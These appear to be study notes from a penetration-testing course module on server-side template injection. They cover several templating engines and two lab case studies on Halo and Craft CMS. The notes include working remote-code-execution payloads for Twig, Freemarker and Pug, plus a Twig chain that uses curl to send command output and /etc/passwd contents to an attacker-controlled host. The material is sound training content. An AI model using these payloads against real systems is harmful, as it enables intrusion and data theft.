Module 12: Server-side Template Injection - Discovery and Exploitation

Templating Engines

Accessing the Template Sandbox

Start the VPN, VM, and add IP to hosts.

Introduction to Templating Engines

Example Email

Hello Dragan,

Thank you for your order! Your items will be shipped out shortly:

Widget - $10
	Quantity: 3
	Total: 	$30
Toolkit - $20
	Quantity: 1
	Total: 	$20
_______________
Total: 		$50

These items will be shipped to:

194 Bridge Avenue Elton, Louisiana 70532

Example Template Email

01  Hello {{ name }},
02
03  Thank you for your order! Your items will be shipped out shortly:
04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}____________________
10  Total:          ${{total}}
11
12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Example Template Variables

{
	"name": "Dragan",
	"address": "194 Bridge Avenue Elton, Louisiana 70532",
	"cart": [
		{
			"name": "Widget",
			"quantity": 3,
			"price": 10
		},
		{
			"name": "Toolkit",
			"quantity": 1,
			"price": 20
		}
	],
	"total": 50
}

Greeting the user

01  Hello {{ name }},
...

Template For Loop

04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}

Displaying the total

10  Total:          ${{total}}

Template If Statement

12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Various Templating Engines

Templating Engine

Language

Server/client Side

Twig

PHP

Server Side

Freemarker

Java (usually)

Server Side

Pug/Jade

JavaScript

Mostly Server Side

Jinja

Python

Server Side

Handlebars

JavaScript

Both

Mustache

Multiple

Varies

Twig - Discovery and Exploitation

Twig - Discovery

Inline PHP before Twig

<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

<?php 
if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";
}
?>

Twig Template

<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
We are using Twig remotely to generate this template

Twig Statement

{% if not admin %}sudo {% endif %}

Twig - Exploitation

Twig Documentation Example

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}

Arguments for the reduce Function

Arguments

    arrow: The arrow function
    initial: The initial value

var_dump payload

{{[0]|reduce('var_dump','Hello')}}

var_dump Payload output

string(5) "Hello"
int(0)

whoami Payload

{{[0]|reduce('system','whoami')}}

Apache Freemarker - Discovery and Exploitation

Freemarker - Discovery

Freemarker Template

01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>

If Statement in Freemarker

02  <#if name == "hacker">
...
07  </#if>

Loop in Freemarker

04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>

Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.

Freemarker - Exploitation

Freemarker Execute Payload

${"freemarker.template.utility.Execute"?new()("whoami")}

In this scenario, the target is running the application as root. However, it is in a containerized environment, so this might not always be the case.

Pug - Discovery and Exploitation

Pug - Discovery

Pug Template

01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
03 
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!

Attributes in Pug

02   input(type='hidden' name='admin' value='true')

if statement in Pug

04   if showSecret
...
09   else
10     p No secret for you!

Code in Pug

05     - secret = ['❤️','😍', '🤟']

Buffered Code

= secret = ['❤️','😍', '🤟']

Pug Loop

07     each val in secret
08       p #{val}

Pug - Exploitation

Storing require as Variable

- var require = global.process.mainModule.require
= require('child_process')

Executing spawnSync

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

In this scenario, the target is running the application as root. However, it is in a containerized environment. This might not always be the case.

Jinja - Discovery and Exploitation

Jinja - Discovery

Jinja Templating Engine

01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}

Jinja - Exploitation

Obtaining RCE via injection in the Jinja templating engine is the type of complex technique reviewed in the WEB-300 course.

Mustache and Handlebars - Discovery and Exploitation

Mustache and Handlebars - Discovery

Handlebars Template

01  <h1>Hello {{name}}</h1>
02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}
08
09  We are using handlebars locally in your browser to generate this template

Handlebars Expression

01  <h1>Hello {{name}}</h1>

Handlebars Helpers

02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}

Mustache and Handlebars - Exploitation

For the most part Handlebars is fairly safe due to it being logicless, however helpers can cause it to be "vulnerable".

Halo - Case Study

Accessing Halo

Start the VPN, the VM, and add IP to hosts.

Halo - Translation and Discovery

Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox.

404.ftl

01  <!DOCTYPE html>
02  <html>
03  <head>
04      <meta http-equiv="content-type" content="text/html; charset=utf-8">
05      <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
06      <title>Not Found</title>
07      <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
08  </head>
09  <div class="page_404">
10      <p>The page you are looking for is missing</p>
11  </div>
12  </html>

404 page with Halo

kali@kali:~$ curl -L http://halo/DoesNotExist 
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
    <title>Not Found</title>
    <link href="http://halo/anatole/source/css/style.min.css" type="text/css" rel="stylesheet"/>
</head>
<div class="page_404">
    <p>The page you are looking for is missing</p>
</div>
</html>

Non-freemarker template response

...
11  </div>
12  </html>
13  {{5*5}}

Freemarker Template Response

kali@kali:~$ curl -L http://halo/DoesNotExist
...
</html>
25

Freemarker template with string response

...
11  </div>
12  </html>
13  ${5*'5'}

Halo - Exploitation

Freemarker RCE Payload

${"freemarker.template.utility.Execute"?new()("whoami")}

/etc/passwd in Halo

kali@kali:~$ curl -L http://halo/DoesNotExist
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Extra Mile

Do the lab.

Craft CMS with Sprout Forms - Case Study

Accessing Craft CMS

Start the VPN, the VM, and add the IP to yours hosts.

Craft CMS with Sprout Forms - Discovery

Running Gobuster against the craft webpage

kali@kali:~$ gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url http://craft/
...
===============================================================
/admin                (Status: 302) [Size: 0] [--> http://craft/admin/login]
/index                (Status: 200) [Size: 56284]                           
/Index                (Status: 200) [Size: 56284]                           
/index.php            (Status: 200) [Size: 56284]                           
/logout               (Status: 302) [Size: 0] [--> http://craft/]           
...

cURL Payload

{{[0]|reduce('system','curl http://192.168.49.51/helloFromTheOtherSide')}}

Python HTTP Server

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

SSTI Confirmation

192.168.51.105 - - [09/Jul/2021 14:28:16] code 404, message File not found
192.168.51.105 - - [09/Jul/2021 14:28:16] "GET /helloFromTheOtherSide HTTP/1.1" 404 -

Craft CMS with Sprout Forms - Exploitation

Exfiltration Payload

{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Exfiltration in HTTP log

192.168.51.101 - - [09/Jul/2021 14:44:49] "GET /?exfil= HTTP/1.1" 200 -

URL Encoding Exfil

{% set exfil = "Hello & Goodbye"| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Encoded message in HTTP log

192.168.51.101 - - [09/Jul/2021 15:45:57] "GET /?exfil=Hello%20%26%20Goodbye HTTP/1.1" 200 -

Executing whoami and Exfiltrating the Output

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Output of whoami Logged

192.168.51.101 - - [09/Jul/2021 15:55:59] "GET /?exfil=www-data%0Awww-data%0A HTTP/1.1" 200 -

/etc/passwd From Craft

192.168.51.105 - - [09/Jul/2021 15:57:50] "GET /?exfil=%3Cbr%20%2F%3E%0Aroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fash%0Abin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%0Adaemon%3Ax%3A2%3...

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Last updated 1 year ago

hashtagTemplating Engines

hashtagAccessing the Template Sandbox

hashtagIntroduction to Templating Engines

hashtagTwig - Discovery and Exploitation

hashtagTwig - Discovery

hashtagTwig - Exploitation

hashtagApache Freemarker - Discovery and Exploitation

hashtagFreemarker - Discovery

hashtagFreemarker - Exploitation

hashtagPug - Discovery and Exploitation

hashtagPug - Discovery

hashtagPug - Exploitation

hashtagJinja - Discovery and Exploitation

hashtagJinja - Discovery

hashtagJinja - Exploitation

hashtagMustache and Handlebars - Discovery and Exploitation

hashtagMustache and Handlebars - Discovery

hashtagMustache and Handlebars - Exploitation

hashtagHalo - Case Study

hashtagAccessing Halo

hashtagHalo - Translation and Discovery

hashtagHalo - Exploitation

hashtagExtra Mile

hashtagCraft CMS with Sprout Forms - Case Study

hashtagAccessing Craft CMS

hashtagCraft CMS with Sprout Forms - Discovery

hashtagCraft CMS with Sprout Forms - Exploitation

Templating Engines

Accessing the Template Sandbox

Introduction to Templating Engines

Twig - Discovery and Exploitation

Twig - Discovery

Twig - Exploitation

Apache Freemarker - Discovery and Exploitation

Freemarker - Discovery

Freemarker - Exploitation

Pug - Discovery and Exploitation

Pug - Discovery

Pug - Exploitation

Jinja - Discovery and Exploitation

Jinja - Discovery

Jinja - Exploitation

Mustache and Handlebars - Discovery and Exploitation

Mustache and Handlebars - Discovery

Mustache and Handlebars - Exploitation

Halo - Case Study

Accessing Halo

Halo - Translation and Discovery

Halo - Exploitation

Extra Mile

Craft CMS with Sprout Forms - Case Study

Accessing Craft CMS

Craft CMS with Sprout Forms - Discovery

Craft CMS with Sprout Forms - Exploitation